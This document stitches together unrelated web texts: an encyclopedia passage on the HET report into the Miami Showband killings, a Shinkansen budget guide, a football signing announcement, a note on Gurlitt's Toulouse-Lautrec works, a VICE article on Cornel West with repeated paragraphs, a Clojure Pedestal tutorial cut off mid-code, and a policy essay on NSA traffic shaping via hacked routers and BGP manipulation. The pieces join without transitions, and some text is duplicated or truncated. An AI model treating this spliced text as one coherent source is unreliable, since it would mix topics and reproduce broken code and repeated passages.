The Historical Enquiries Team (HET), which was set up to investigate the more controversial Troubles-related deaths, released its report on the Miami Showband killings to the victims' families in December 2011. The findings noted in the report confirmed Mid-Ulster UVF leader Robin Jackson's involvement and identified him as an RUC Special Branch agent.[99] According to the report, Jackson had claimed during police interrogations that after the shootings, a senior RUC officer had advised him to "lie low". Although this information was passed on to RUC headquarters, nothing was done about it. In a police statement made following his arrest for possession of the silencer and Luger on 31 May 1976, Jackson maintained that a week before he was taken into custody, two RUC officers had tipped him off about the discovery of his fingerprints on the silencer; he also claimed they had forewarned him: "I should clear as there was a wee job up the country that I would be done for and there was no way out of it for me".[56] Although ballistic testing had linked the Luger (for which the silencer had been specifically made) to the Miami Showband attack, Jackson was never questioned about the killings after his fingerprints had been discovered on the silencer, and the Miami inquiry team were never informed about these developments.[56]
Robin Jackson died of cancer on 30 May 1998, aged 49.[100]
The families held a press conference in Dublin after the report was released. When asked to comment about the report, Des McAlea replied, "It's been a long time but we've got justice at last".[99] He did, however, express his concern over the fact that nobody was ever charged with his attempted murder.[79] and that none of the perpetrators ever offered him an apology.[70] Stephen Travers offered, "We believe the only conclusion possible arising from the HET report is that one of the most prolific loyalist murderers of the conflict was an RUC Special Branch agent and was involved in the Miami Showband attack".[101]
The HET said the killings raised "disturbing questions about collusive and corrupt behaviour".[102]
See also [ edit ]
References [ edit ]
NotesThe Shinkansen, Japan’s high-speed bullet train, is not just a mode of transportation, but an experience in itself. Some tourists consider it a symbol of Japan’s top-notch technology and want to experience a Shinkansen ride just to see what it’s like. Unfortunately, the Shinkansen doesn’t come cheap, so travelers on tight budgets tend to forego it for more practical options. But there are ways to experience the Shinkansen more affordably—and here, we show you how.
Note: The Japan Rail Pass is the most economical way to take bullet trains up, down and across Japan.
This reasonably priced set tour includes round-trip Shinkansen tickets to Hiroshima departing from Tokyo, Shinagawa or Shin-Yokohama, plus accommodation in Hiroshima. Customers staying at Hotel – click here for details Suggested Activity
Go for a super short Shinkansen ride
Maybe you’re a train aficionado. Or maybe you just really, really want to ride the Shinkansen, but don’t have enough money to fork over for a ride to someplace significantly beyond Tokyo. If you just want to say, “I got to ride the Shinkansen!” even if it’s just for a few minutes (and yes, cheapos have actually done that), you can board the Shinkansen at Ueno, Shinagawa or Tokyo (Tokyo’s Shinkansen hubs) and get off one or two stations later. Alighting at Saitama Prefecture’s Omiya (which isn’t all that far from Tokyo) is a feasible option, too.
You’re looking at a five-minute Shinkansen ride (about 20 minutes if you’re getting off at Omiya) for upwards of ¥1,000, which is not exactly cheap (especially considering a ride from Tokyo to, say, Shinagawa, costs under ¥200 on regular trains), but is technically the lowest-priced way to experience the Shinkansen.
The major downside of this cheapo endeavor is that you don’t get to experience the Shinkansen fully. The train gets nowhere near its maximum speed, after all. But hey, at least you get to see the inside of the Shinkansen, and you can marvel at the cleanliness and spaciousness. If you’re very lucky, you might even see a station attendant pushing a cart full of snacks and souvenirs, and maybe even catch a few regional specialties.
Pick less expensive destinations
Forget about going from Tokyo to, say, Kyoto or Hiroshima via Shinkansen, and just focus on closer destinations that are less costly to get to. This is related to the previous point about taking the Shinkansen for the experience, except it’s less extreme than just being on the Shinkansen for 5-10 minutes.
Some examples of places you can visit from Tokyo via Shinkansen for under ¥10,000 one-way are Takasaki in Gunma Prefecture, Nagano (a popular winter destination), Karuizawa in Nagano Prefecture (a super summer getaway), Odawara in Kanagawa Prefecture (a small town with a beautiful castle), Utsunomiya in Tochigi Prefecture (which is known for its gyoza), and Atami in Shizuoka Prefecture (a hot spring town). Hyperdia is your friend when it comes to looking up how to get from one destination to another, and for how much!
The Japan Rail Pass and discount vouchers
If you’re a short-term visitor and you’re keen on long-distance travel via the Shinkansen, you should seriously consider a Japan Rail Pass. It allows for unlimited travel on all JR trains (except for the Nozomi and Mizuho Shinkansen, the two fastest) for a fixed price for a certain length of time, the cheapest being ¥29,110 for a week. While you can’t use it on the absolute fastest Shinkansen, you can use it to board the Hikari, which only takes slightly longer than Nozomi and Mizuho. It’s also good for all local and limited express trains on the JR network.
The 9 best places to Airbnb in Tokyo – read more REThink Tokyo
Another option if you’re here on a tourist visa, or accompanying someone from overseas, is a special discount ticket for a round-trip to Kyoto, or one to Osaka. These include the super-fast Nozomi, so are probably the best-value option after the JR Pass.
The Puratto Kodama Economy Plan is another idea, allowing travel via the Kodama Shinkansen—the slowest model—from Tokyo to Kyoto for ¥10,300–¥11,600 one way. The experience is not nearly as exciting as riding one of the newer bullet trains, but if it appeals to you, just note that the plan needs to be purchased from a company called JR Tokai Tours at least a day in advance.
20% off coupon code: TYO7382. Visiting Tokyo soon? Don’t leave without downloading our ebook!
Other deals
JR has its own travel agency, Byuu, which offers—aside from the usual package tours that last for a few days—some day trips and overnight packages. These include a Shinkansen ride, and, for overnight trips, a stay at a ryokan or hotel. Tours can go for as low as ¥11,000, inclusive of the Shinkansen ride, accommodation and meals. Sounds too good to be true, right? But it isn’t! One of our cheapo writers wrote about his experience availing of a Byuu package. That could be you, too.
Further resources
If you’re keen on bullet trains, you might want to give our Ultimate Shinkansen Guide a read, and play around with our Bullet Train Fare Calculator too. You could also consider ditching the Shink and trying this nifty 140-yen train hack instead.
Finally, here are some other ideas for Tokyo -> Kyoto travel.
This post was last updated in March, 2018.Rovers are delighted to announce the signing of former Manchester United and England defender Wes Brown.
The 36-year-old, who has been training with the club since the start of pre-season, joins on a free transfer until the end of the current campaign.
As part of the deal, Brown will spend time working with Damien Johnson and David Dunn, coaching Rovers’ Under-23s, who he has represented on three occasions in the Premier League 2 this season.
One of the game’s most decorated defenders, Brown started his career with Manchester United, joining the club’s esteemed Academy at the age of 12.
He made his first team debut in a 3-0 victory over Leeds United at Old Trafford in May 1998 and helped United win the Treble the following season.
Brown would go on to make over 350 appearances for his boyhood club, winning a further four Premier League titles, three League Cups, a second FA Cup and the Champions League again in 2008.
After 15 years as a professional at Old Trafford, the defender joined Sunderland in July 2011 on a four-year deal.
He made his debut in a 1-1 draw against Liverpool at Anfield and would go on to make 87 appearances for the Black Cats, helping them to secure their Premier League status in each of the last five seasons.
An England international, with 23 caps to his name, Brown is expected to go straight into Owen Coyle’s squad for Rovers’ Championship clash away to Derby County this weekend.Among the 1,406 artworks discovered throughout the Munich apartment of Cornelius Gurlitt are 39 pieces by French painter and printmaker Henri de Toulouse-Lautrec. The works are all drawings and prints — some lightly penciled, others heavily inked; most of them black and white, although occasionally the vivid color for which Toulouse-Lautrec is known pops up. None of the pieces seem seriously significant, but together they make a compelling body that evinces the artist’s process.
Images of 34 of the works were added to the German government’s Lost Art website, with five more listed without corresponding pictures. German officials have also added images of discovered works by Edvard Munch and Max Liebermann, all prints and drawings as well. The total count of images from the Gurlitt trove now up on the site is 118. All of the Toulouse-Lautrecs with available images are shown above and below.West spoke at length of "Brother Bernie's" activism during the civil rights era, while questioning Clinton's commitment to the cause. When asked why some civil rights leaders were backing Clinton's campaign, including Rep. John Lewis, who marched in Selma in 1965, West replied that Lewis and others had lost their way.
Dr. Cornel West, one of the preeminent public intellectuals on issues of a race and inequality and an avid Sanders supporter, had harsh words for civil rights leaders supporting Clinton's campaign during an interview with VICE News as he toured South Carolina on Sanders' behalf last week.
Both candidates have been courting black voters with a series of high-profile endorsements and events in the run-up to not only this race, but looking ahead to the Super Tuesday contests next week. Six southern states, all of which carry large numbers of black Democratic voters, will cast their ballots. But as the campaigns raise questions about each other's commitment to the black community, some of their surrogates are beginning to turn on each other as well.
Hillary Clinton won the South Carolina primary on Saturday night by almost 50 percent of the vote, thanks in large part to her support from the African-American community, which made up a historic portion of the Democratic vote last night. A stunning 86 percent of black voters supported Clinton over Sanders in the first contest between the two candidates in a state with a large black population.
Read more
Hillary Clinton won the South Carolina primary on Saturday night by almost 50 percent of the vote, thanks in large part to her support from the African-American community, which made up a historic portion of the Democratic vote last night. A stunning 86 percent of black voters supported Clinton over Sanders in the first contest between the two candidates in a state with a large black population.
Both candidates have been courting black voters with a series of high-profile endorsements and events in the run-up to not only this race, but looking ahead to the Super Tuesday contests next week. Six southern states, all of which carry large numbers of black Democratic voters, will cast their ballots. But as the campaigns raise questions about each other's commitment to the black community, some of their surrogates are beginning to turn on each other as well.
Dr. Cornel West, one of the preeminent public intellectuals on issues of a race and inequality and an avid Sanders supporter, had harsh words for civil rights leaders supporting Clinton's campaign during an interview with VICE News as he toured South Carolina on Sanders' behalf last week.
West spoke at length of "Brother Bernie's" activism during the civil rights era, while questioning Clinton's commitment to the cause. When asked why some civil rights leaders were backing Clinton's campaign, including Rep. John Lewis, who marched in Selma in 1965, West replied that Lewis and others had lost their way.
Related: Ahead of South Carolina, Clinton and Sanders Show Off Support from Prominent Black Leaders
"There's no doubt that the great John Lewis of 50 years ago is different than the John Lewis today," West remarked. "He's my brother. I love him, I respect his personhood, but there's no doubt he's gone from a high moment of Martin Luther King-like struggle to now [a] neoliberal politician in a system that is characterized more and more by legalized bribery and normalized corruption. That's what big money does to politics. And the Clinton machine is an example of that."
Lewis' home state of Georgia will vote on Super Tuesday and has 116 delegates at stake, making it one of the most consequential states that will vote next week. In 2008, African-Americans made up more than half of Georgia's Democratic electorate.
West repeatedly referred to both Lewis and Rep. Jim Clyburn, who was also involved in the civil rights movement and now represents South Carolina in the House of Representatives, as "neoliberal politicians." The classification, he explained, refers to "a politics that proceeds based on financializing, privatizing, and militarizing."
West said that Clyburn and Lewis had become "too well adjusted to Wall Street." They are now a part of a system, he said, "in which politicians are well adjusted to injustice owing to their ties to big money, big banks, and big corporations, and turning their backs, for the most part, to poor people and working people. Poor people and working people become afterthoughts."
'Most black politicians these days are neoliberal politicians, so it's almost natural for them to side with Hillary Clinton.'
More broadly, West asserted that black politicians supporting Clinton lack the kind of "courage" it takes to support Sanders and to "pursue truth" and justice.
"Most black politicians these days are neoliberal politicians, so it's almost natural for them to side with Hillary Clinton," he said. "But with the neoliberal era coming to a close, four months from now [when the party picks its nominee], you watch how the shift sets in."
Neither Clyburn's office nor Lewis' responded to requests for comment for this story.
West's comments come just eight months after he praised Lewis at a Unitarian Universalists event honoring the congressman, who received a human rights award. At the time, West called Lewis a "moral titan" and suggested that the same young people he now says are more courageous than Lewis could learn something from the congressman.
Related: Sanders Scores Major Endorsement in South Carolina After Lawmaker Dumps Clinton
"When we see you, we see integrity, we see courage and we see someone who is willing to be honest.… Nobody's all the way right, but even when you're wrong, you point it out with that love," West said at the gathering. "What we need is precisely the raw stuff that went into you. How do you translate that to the younger generation?"
The VICE News interview with West this week took place during a trip to South Carolina to examine the role of the black vote in the state as well as the Clinton legacy with black voters in general. Those voters will play a huge role on Super Tuesday, as both candidates compete for approximately one-quarter of the total delegates up for grabs this year. Watch the dispatch, which includes more from the West interview, below.
Watch the VICE News documentary, America's Election 2016: South Carolina's Black Vote:
Related: #BernieSoBlack: Activists Call Out Bernie Sanders for 'Whitesplaining' Racial Inequality
Follow Sarah Mimms on Twitter: @SarahMMimms.Pedestal and w3a walkthrough: Build a CRUD app with Clojure
15 Feb 2016
This is a walkthrough on how to build a complete user facing web application with Clojure on top of Pedestal, with the help of the w3a library. I have made various attempts at building web applications with Pedestal and/or Clojure before. (such as here, here and here) The current version is good and useful enough to make a guide for and hopefully serve as a starting point for other Clojure web applications.
For me a complete user facing web application should have a database, templating, forms, authentication and authorization. And for development I like to get something I can click through as soon as possible, as well as having a dynamic development process from the REPL.
The example app is running on Heroku at https://snippetlist.herokuapp.com/. The code is on GitHub at https://github.com/thegeez/snippetlist. Snippetlist is a small CRUD application where users can create and edit little code snippets.
The snippetlist functionality is loosely based on the Django Rest Framework example
This walkthrough contains the following parts:
If you want to follow along by reading and playing with the code, you should follow these instructions:
$ git clone https://github.com/thegeez/snippetlist.git $ cd snippetlist $ lein repl => (go)
Go to http://localhost:8080 and you should see a simple page with 4 links on it. This development setup follows Stuart Sierra's Reloaded workflow pattern together with Component
For an introduction to Clojure and the Leiningen buildtool check out: Clojure for the Brave and True. Git is a source code management tool: git
Pedestal is a Clojure web framework. The main components in Pedestal are interceptors (which are similar to Ring middleware) and the routing table. When you develop a web application with Pedestal you will mostly be working on the routing table and writing interceptors.
The index page on http://localhost:8080 is defined in src/clj/net/thegeez/snippetlist/service.clj:19-43
19 ( def home 20 ( interceptor / interceptor 21 { :enter ( fn [context] 22 (merge context 23 { :response 24 { :status 200 25 :headers { "Content-Type" "text/html" } 26 :body (str "Hello world, snippetlist<br/>" 27 "<a href=\"" ( link / link context : users / index ) "\">/users</a><br/>" 28 "<a href=\"" ( link / link context : snippets / index ) "\">/snippets</a><br/>" 29 "<a href=\"" ( link / link context : auth / login ) "\">/login</a><br/>" 30 "<a href=\"" ( link / link context :home ) "\">/</a>" )}}))})) 31 32 ( defroutes 33 routes 34 [[[ "/" 35 ^ :interceptors [ auth / with-auth 36 ( breadcrumb / add-breadcrumb "Home" :home ) 37 ( html / for-html 404 (constantly "Not found" )) 38 39 ( edn / for-edn ( fn [context] 40 { :data (get-in context [ :response :data ]) 41 :breadcrumbs ( :breadcrumbs context)}))] 42 43 { :get [ :home home]}...
There are 3 things to note here. First there is the routing table called 'routes' defined by 'defroutes'. It says that a GET request to the url "/" should be handled by the 'home' interceptor. The home interceptor returns a very crude HTML response with 4 links in it. The routing table also shows 4 other interceptors that are in the interceptor chain before the home interceptor, but these are not important for now. The routing table also shows that it supports bi-directional routing and link generation. The "/" route is called :home. This same route is referred to in the home interceptor to create a link that points to http://localhost:8080/ at line 30.
Bi-directional routing and link generation is nice because with it you don't need to create links by concatenating strings.
When you change something in the home interceptor, for instance by replacing "Hello world" with something else, you will see it in the browser when you refresh the page at http://localhost:8080.
More info on the routing table: Routing. More info on interceptors: Pedestal interceptors documentation. A comparison between Ring and Pedestal by Frankie Sardo
Snippetlist is a simple CRUD application. CRUD stands for Create-Read-Update-Delete. The simplest part of that is the read part. An example of a page that is only the read part is the page that shows all the users in the application. This page is at http://localhost:8080/users. This page shows all the users in the system, which will be only the users Amy and Bob that have been inserted into the database as fixtures. The page lists the users and the links to all the code snippets they have in the database. The users page also has some basic HTML markup in the form of a page header, a box in the top right corner that show the currently logged in user or a link to login, and a breadcrumb bar with links to other parts of the application.
The users page uses interceptors and other helpers from the w3a library to build a user facing web application on top of Pedestal. The w3a library aims to help to get an application to a version that you can click through quickly. The idea is that when you have all the data and functionality available, you can then add the markup and other fancier features at a later time.
To make an application you can click through you need links. For the application to be interesting you also need data. A piece of data with links with it can be called a resource. On the users page there are two user resources: the user Amy and Bob. The user resources consist of data from the database and links, which are mostly generated based on the data. Links on a resource aren't just for navigation, they can also tell you something about a resource. For example, maybe a resource has a link to an edit page when you are logged in as that user. (In the snippetlist application you can see that in action on a particular snippet page, if you are also logged in as either Amy or Bob.)
Another helper to make the application click throughable quickly is the breadcrumb bar. The breadcrumb bar contains a link to the Home page and the current Users page. If you click on the user page for Amy, you'll see 3 links in the breadcrumb bar, including a link back to the users page. The breadcrumb bar is build by adding the breadcrumb/add-breadcrumb interceptors to the Pedestal routing table.
Lets look at how you create this page with w3a:
src/clj/net/thegeez/snippetlist/service.clj:55-60
55 [ "/users" 56 ^ :interceptors [( breadcrumb / add-breadcrumb "Users" : users / index )] 57 { :get 58 [ : users / index 59 ^ :interceptors [( html / for-html 200 users.view / html-render-index)] 60 users / index]}
src/clj/net/thegeez/snippetlist/users.clj:7-28
7 ( defn user-resource [context data] 8 ( let [{ :keys [id]} data] 9 ( -> data 10 (dissoc :id ) 11 (assoc-in [ :links :self ] ( link / link context : users / show :params { :id id})) 12 (update-in [ :snippets ] ( fn [snippets] 13 (map #( link / link context : snippets / show :params { :id ( :id % )}) snippets)))))) 14 15 ( defn get-users [context] 16 ( ->> ( jdbc / query ( :database context) [ "SELECT id, username, created_at, updated_at FROM users" ]) 17 (map ( fn [user] 18 (assoc user :snippets 19 ( jdbc / query ( :database context) [ "SELECT id FROM snippets WHERE owner=?" ( :id user)])))) 20 (map (partial user-resource context)))) 21 22 ( def index 23 ( interceptor / interceptor 24 { :enter ( fn [context] 25 (merge context 26 { :response 27 { :status 200 28 :data { :users (get-users context)}}}))}))
The users page shows the users in the application. This is all the users/index interceptor returns. This is done by getting the users from the database with get-users and then adding links to the users to make them resources with user-resource. The HTML layout is added by the html/for-html interceptor, defined in the routing table. If you remove the html/for-html interceptor then this code will render an empty page. This is because the response will not have the proper headers added to the response. (These headers are defined explicitly in the home interceptor we saw earlier.) Of course during development you might not have a template function for every page that you're building yet. A handy temporary tool is to use the html/for-html interceptor with a helper template function.
[ "/users" ^ :interceptors [( breadcrumb / add-breadcrumb "Users" : users / index )] { :get [ : users / index ^ :interceptors [( html / for-html 200 ( fn [context] ( -> context (select-keys [ :breadcrumbs :response ]) html / edn->html)))] users / index]}
This will render all the resources and links in a simple pretty printed text layout.
For the /users page the users/index interceptor is very simple. But it is a goal of w3a to define the functionality of an application in a single place, and therefore to have the gathering of data and link generation together. So you are discouraged from creating links in a templating function. It is better to add a link to a resource in the interceptor for the route and to use this data in the templating function.
An nice introduction to using data and links to make resources is How to GET a cup of coffee
In a web application you probably need a place to save the data, w3a also provides some help for that. Of course there are many different ways to store data, and even more types of databases. w3a has helpers to work with SQL databases, but it does not impose a requirement to use them and you can use however many databases of whatever type you like. The basics in w3a are to get you started and to support getting an application running on Heroku, which happens to provide a free PostgreSQL database.
When you use a database you'll quickly need a way to migrate databases to whatever new version you create. It is also handy to have a way to create fixtures, which is data you can use while developing or testing the application. w3a provides components for migrations, fixtures and database access to an SQL database.
The w3a component supports uses an embedded database when passing a Derby connection string, and PostgreSQL when passed a postgres url. Using an embedded database can be useful for testing and development. The connection strings are in the jdbc connection string format. The database configuration that Heroku uses also works with the database component.
The components all work with the Component library. To see how the database components are setup and configured, see the files dev/user.clj and src/clj/net/thegeez/snippetlist/core.clj. This should also be the starting point to see what your own components should look like if you add a different database.
As could be seen in the users page example, snippetlist uses clojure.java.jdbc to access the database. Clojure.java.jdbc is great for SQL query access and transforms all data into Clojure datastructures. I prefer this over using an ORM-ish DSL, but you can easily use whatever database access library you like instead. As can be seen in the code for the users page, a reference to the database to use with clojure.java.jdbc is part of the context that is passed to every interceptor.
In Pedestal everything goes through interceptors, which take the context as an argument. This context consists of the request, response and other user defined content. Also the references to the database and other components are available through the context.
Apart from passing the context to all the interceptors, the context is also passed to almost every helper function in the w3a library. You could argue that this is not much better than global objects or injected bindings everywhere, but I prefer it as I always end up needing just a little part of the context somewhere deep down in the composition. The biggest example of this is the creation of links with the w3a library taking the context as an argument. In Pedestal the context is not passed as an argument to the link building fuction, instead the routing table is available there as a binding.
The idea of accumulating data and resources such as databases as a request goes through interceptors, handlers or middleware comes from both Ring and Liberator
The w3a library is meant to specifically support user facing web applications. This means that the end user will use the application through a browser. It would also be nice to support more API-like access. Perhaps users won't use a command line to access the application, but maybe some functionality needs to be available via JavaScript/AJAX access.
Sadly, the common behavior a user expects from a webpage in a browser and the common way to create API access are not always aligned. For instance when a users creates a new snippet in the snippetlist application, the users expects to be automatically redirected to the newly created snippet page. But for API access perhaps returning a '201 Created' response is more appropriate.
In w3a all the code is written as if the data will be accessed in an API style. So for instance the interceptors that creates a new snippet returns:
src/clj/net/thegeez/snippetlist/snippets.clj:160-163
160 { :response 161 { :status 201 162 :headers { "Location" location} 163 :flash { :info "Snippet inserted" }}}
When this code is accessed through a browser requesting HTML, then w3a will transform the response into a '303 See other' redirect instead. This transformation is done for '201 Created', '204 No content' (after a successful update), '401 Not authenticated' (redirects to login) and '403 Not authorized' (redirects to login) responses. Also, when an update to a resource fails, for instance when a form doesn't validate, the response code 422 will be a 200 for browsers instead (with the page rendered again with some error messages).
A redirect does not inform the user about what happened. A common way to tell a user what just happened is through a 'flash' message. This is supported in w3a by putting a :flash key on the response. When a user inserts a snippet, the user is redirected to the list of snippets and the user sees a blue box with the flash message saying: "Snippet inserted". Flash messages are only shown once. When the page is refreshed the flash message will be gone.
The testing section show how the snippetlist code behaves when accessed through a browser requesting HTML as well as through an API requesting EDN.
For users to create or update something in a CRUD application in the browser, you will need forms. w3a provides helpers to work with forms.
If you login as Amy on the snippetlist application you can create and edit snippets through a form. Login first at http://localhost:8080/login and then go to http://localhost:8080/snippets to select a snippet to edit or to create a new one.
src/clj/net/thegeez/snippetlist/snippets.clj:86-107
86 ( def snippet-form 87 [{ :id :owner_username 88 :label "Owner" 89 :type :static } 90 { :id :code 91 :label "Code" 92 :type :string 93 :validator ( fn [code] 94 ( when (not (seq code)) 95 "Code can't be empty" ))} 96 { |
collecting metadata on foreign territory under EO 12333.
Finally, in April 2017, the NSA “stopped some its activities” under FISA that collect U.S. persons’ communications on U.S. territory, where “Americans’ emails and texts [are] exchanged with people overseas that simply mention identifying terms—like email addresses—for foreigners whom the agency is spying on, but are neither to nor from those targets.” According to the NSA, a motivation for halting this program was a “several earlier, inadvertent... incidents related to queries involving U.S. person information” that failed to comply with the rules laid out by the FISA Court. However, the New York Times reported that “there was no indication that the N.S.A. intended to cease this type of collection abroad, where legal limits set by the Constitution and [FISA] largely do not apply.”
These examples suggest that authorities can sidestep the judicial oversight required by FISA, simply by intercepting traffic on foreign territory. But this raises an interesting question: What would happen to Americans’ privacy rights if an increasing portion of the flow of American communications were somehow diverted onto foreign territory?
Traffic Shaping to Force U.S. Persons’ Communications Abroad
As stated earlier, American Internet traffic can sometimes be routed abroad, naturally, in the name of efficiency, or when Americans view content that is hosted or stored on computers located in other nations. But American Internet traffic can also be deliberately diverted onto foreign territory by exploiting modern Internet technologies. The NSA uses the term “traffic shaping” to describe any technical method that is used to redirect the routes taken by Internet traffic.
It is conceivable that traffic shaping could be used as a method to redirect American Internet traffic from within the United States to a tapped communication cable located on foreign soil. This traffic could then be “incidentally collected” from the foreign cable under EO 12333, and thus could be stored, analyzed, and disseminated under the more permissive EO 12333 rules.
Does the NSA does have the technical capability to perform traffic shaping? There is sufficient evidence to suggest that they do. That said, there is no evidence that the NSA is using traffic shaping to deliberately divert U.S. traffic to foreign soil. Indeed, there also has been no public discussion of whether the NSA believes that it is even legal to use traffic shaping to redirect American Internet traffic abroad. In fact, it is unclear even how traffic shaping could be authorized under the NSA’s current legal authorities. Nevertheless, the possibility exists, and so it would be valuable to review the several techniques that can be used for traffic shaping, and explore a possible interpretation of the law that suggests that their use could be regulated entirely by EO 12333.
The legal argument rests on several issues that have not been decided by the courts (at least not publicly). Nevertheless, the key takeaway point is that FISA is outdated. Because FISA is over three decades old, it is ambiguous about modern surveillance technologies like traffic shaping. There is therefore a possibility that the intelligence community could conclude that traffic shaping is not regulated by FISA. If that were case, then the ambiguities concerning what is legal or not would be settled entirely within the executive branch and the intelligence community, and any traffic shaping program would avoid the scrutiny of the FISA Court.
Traffic Shaping by “Port Mirroring” at Hacked Routers
It has been reported that the NSA already employs a technique to “shape” traffic so that it travels through a tapped communication cable. The traffic-shaping technique involves hacking into an Internet infrastructure device, for example, a router. A router is a device that forwards Internet traffic to its destination. In Figure 3, which was hand-drawn by a hacker employed by the NSA and later leaked, the hacked device is called a “CNE midpoint.”
The NSA likely does not read, analyze, collect, or store traffic at a hacked router—routers are very limited devices that typically can only pass traffic along. Instead, the router is simply instructed the router to copy the traffic and pass it along to a tapped communication cable where the actual eavesdropping occurs. The original traffic still travels on its usual path to the destination. However, the traffic is additionally copied and passed on to an additional destination determined by the NSA. Network engineers call this process “port mirroring.”
Figure 3
It is important to remember that the router being hacked is not a personal communications device. A router is just a waypoint on the Internet infrastructure that forwards traffic aggregated from multiple sources. Because traffic from many individuals is aggregated at a single router, one could easily argue that hacking into a router does not “intentionally target a U.S. person.”
Furthermore, traffic shaping via port mirroring is untargeted by its very nature. Because a router is a device with very limited capability, it is usually impossible to instruct the router to “port mirror” only a specific email or chat log toward a collection point. Instead, port mirroring is more likely to redirect traffic to or from an entire website, company, or ISP. In fact, the same NSA employee that created Figure 3 also describes using traffic shaping to redirect the communications of the entire country of Yemen toward an NSA collection point.
Can Routers Lawfully Be Hacked to Shape Traffic on U.S. Soil?
While it is technically possible to redirect U.S. Internet traffic to foreign territory by hacking into routers, is it legal? What laws would govern this? In general, the legal framework surrounding hacking by intelligence agencies is murky, mostly because of classification, but also because FISA and EO 12333 were written three decades ago, before hacking became an essential part of surveillance operations.
Does FISA regulate hacking into a U.S. router and instructing it to perform traffic shaping by “port mirroring” traffic? If such an operation were regulated by FISA, then it would be subjected to the scrutiny of the FISA Court. As mentioned earlier, FISA is intended to be the “exclusive means” by which agencies were authorized to perform “electronic surveillance.” “Electronic surveillance” is a legal term that is defined the FISA statute; in fact, despite several amendments, FISA’s definition of “electronic surveillance” remains largely unchanged from its original 1978 version. The FISA definition of “electronic surveillance” has two clauses that could be potentially cover hacking into a U.S. router and instructing it to perform traffic shaping via port-mirroring.
One clause in the FISA statute defines “electronic surveillance” to be
the installation or use of an electronic, mechanical, or other surveillance device in the United States for monitoring to acquire information, other than from a wire or radio communication, under circumstances in which a person has a reasonable expectation of privacy and a warrant would be required for law enforcement purposes.
In other words, this clause covers the installation of a device in the United States for surveillance. Hacking a U.S. router could certainly be considered the installation of a device. However, a router is a “wireline” device, and this clause does not cover devices that acquire information from a “wire.” As such, this clause is not relevant to the discussion.
Another clause in the FISA statute defines “electronic surveillance” as
the acquisition by an electronic, mechanical, or other surveillance device of the contents of any wire communication to or from a person in the United States, without the consent of any party thereto, if such acquisition occurs in the United States, but does not include the acquisition of those communications of computer trespassers that would be permissible under section 2511(2)(i) of title 18, United States Code.
This clause covers the “acquisition” of communications inside the United States. However, one could argue that communications are not “acquired” when a U.S. router is hacked and instructed to perform port mirroring. The hacked router is merely instructed to copy traffic and pass it along, but not to read, store, or analyze it. Therefore, “acquisition” occurs at the tapped communication cable (abroad) rather than at the hacked router (inside the United States). As such, this clause is also not relevant.
These definitions suggest that hacking into domestic routers and using them for traffic shaping does not constitute “electronic surveillance” under FISA. But there are two more issues to consider before deciding that these activities do not fall under FISA.
First, FISA’s exclusivity clause states that FISA’s “procedures... shall be exclusive means by which electronic surveillance... may be conducted.” Reiterating, “electronic surveillance” is a legal term that is narrowly defined by the FISA statute. Thus, one could argue that FISA forbids any traffic shaping program whose sole purpose is to circumvent the intentions of Congress when defining “electronic surveillance” in the FISA statute. That said, there is a simple way around this issue. If one could construct a different operational purpose for a traffic shaping program, then one would be on more solid ground. For instance, traffic shaping could be used “target” foreign communications, or to run more traffic past a collection point that has special technical capabilities, and so on.
If FISA does not cover hacking into a U.S. router and instructing it to perform traffic shaping, then one must consider whether it is covered by the Constitution. Does hacking into router on U.S. soil constitute a “search” or “seizure” under the Fourth Amendment? There are strong arguments that the answers to these questions would be yes, but the courts have yet to conclusively address them.
However, even if this traffic-shaping technique constitutes a Fourth Amendment “search” or “seizure,” a warrant still may not be required. For instance, it may fall under a national security exception to the Fourth Amendment’s warrant requirement. One might also consider the third-party doctrine, which holds that when users disclose information (such as Internet traffic) to a third party (such as Internet service providers), they have “no reasonable expectation of privacy,” and thus no warrant is required to search it. However, it is not clear how the third-party doctrine might apply in this setting. So, while it may seem like a warrant should be required when hacking into a router and instructing it to perform port-mirroring, this warrant requirement may also be obviated by national-security or third-party-doctrine exceptions.
Settling these complex legal questions is beyond the scope of this report, however. The main point is that a warrant might not be required for this traffic shaping technique. What would the intelligence community’s lawyers do if they were asked to authorize a traffic-shaping program that redirects American traffic from U.S. territory to abroad? We don’t know. However, there is a risk that they could conclude it falls exclusively within the purview of EO 12333. In this case, the traffic-shaping program would never be vetted by the FISA Court, and instead would be regulated entirely by a classified process that is internal to the executive branch.
Traffic Shaping from Abroad
Even if the legal framework somehow forbids authorities from hacking into routers located on U.S. soil, other traffic shaping techniques can be performed entirely from abroad. One such technique takes advantage of a network protocol called the Border Gateway Protocol (BGP) to trick neighboring networks into redirecting their traffic.
BGP is an Internet protocol that allows routers to decide how to send Internet traffic across the web of connections that makes up the modern Internet. Routers continuously send each other BGP messages, updating each other about routes they have available through the Internet. To perform traffic shaping with BGP, an entity manipulates the BGP messages sent by one router to its neighboring routers, tricking these routers into redirecting their Internet traffic via a new route.
There have been many documented cases of deliberate BGP manipulations.
Figure 4 shows one incident that took place in July 2013, where an Icelandic router caused traffic sent between two U.S. endpoints to be redirected through Iceland. The Icelandic router sent a manipulated BGP message to a neighboring router in London, indicating that traffic destined for a group of American IP addresses should be routed to Iceland. The router in London was then convinced that traffic destined for these IP addresses should be routed to Iceland, rather than to the United States. The router in London then passed this manipulated BGP message to its neighbors, and so on, until the message eventually arrived at several routers in the United States.
Figure 4
The results of the BGP manipulation, shown in Figure 4, indicate just how convoluted Internet routing can become. Traffic originating in Denver (which was destined for one the American IP addresses that was the original subject of the BGP manipulation) is first sent through several American cities before going to London and then to Reykjavik. From there, the traffic travels to Montreal before it finally reaches one of the American IP addresses (in Denver) that is the original subject of the BGP manipulation.
It is still unclear who was behind this incident. There is no reason to believe that it involved the U.S intelligence community. Nevertheless, it is possible that routers in the Icelandic network were hacked by some unknown party, and then instructed to send manipulated BGP messages, thus causing the chain of events shown in Figure 4.
This traffic-shaping technique can be performed entirely from abroad. In this incident, the Icelandic router needed only to send a single BGP message to its neighbor in London to get the ball rolling.
One could also argue that the technique is untargeted, because the manipulated BGP messages specified that traffic destined for a group of American IP addresses should be routed through Iceland, without singling out anyone or anything in particular. An IP address identifies computing devices on the Internet, and a single IP address can be used by multiple devices or people. Moreover, BGP manipulations necessarily affect a group of IP addresses; it is generally not possible to perform a BGP manipulation that affects only a single IP address. Therefore, one could conclude can that BGP manipulation does not “intentionally target” a specific individual.
